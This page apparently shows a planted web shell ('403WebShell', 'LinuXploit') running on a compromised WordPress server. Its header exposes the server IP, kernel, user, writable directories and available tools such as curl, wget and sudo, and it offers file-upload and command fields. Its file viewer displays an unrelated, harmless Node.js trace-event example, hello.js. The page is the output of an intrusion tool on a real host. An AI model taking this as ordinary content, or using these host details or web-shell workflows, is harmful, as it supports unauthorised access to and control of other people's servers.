Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/node-chrome-trace-event/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/node-chrome-trace-event/examples/hello.js
/*
 * A first example showing trace-event usage.
 * We emit begin/end events for a single call to `doSomething()`.
 */

/*
 * First create the tracer `evt` that we'll use for instrumenting code.
 *
 * Notes:
 * - More realistically we'd stream these to an event log file (see
 *   examples/event-log.js). This just shows you the default output.
 * - By default the emitted 'data' events are make up a JSON array of
 *   event objects, suitable for piping directly to stdout or a file.
 *   This format is as expected by
 *   [`trace2html`](https://github.com/google/trace-viewer#readme).
 * - See examples/object-mode.js for raw event objects.
 * - See examples/child.js for a larger example.
 */
var evt = new (require("../dist/trace-event")).Tracer();

evt.on("data", function(data) {
  console.log("EVENT: %j", data);
});

// Instrument code with evt.{begin|instant|end} calls.
function doSomething(cb) {
  evt.begin({ name: "doSomething", id: "1" });
  // Takes 1s to do all this processing for "something".
  setTimeout(function() {
    evt.end({ name: "doSomething", id: "1" });
    cb();
  }, 1000);
}

console.log("hi");
doSomething(function() {
  console.log("bye");
});

Youez - 2016 - github.com/yon3zu
LinuXploit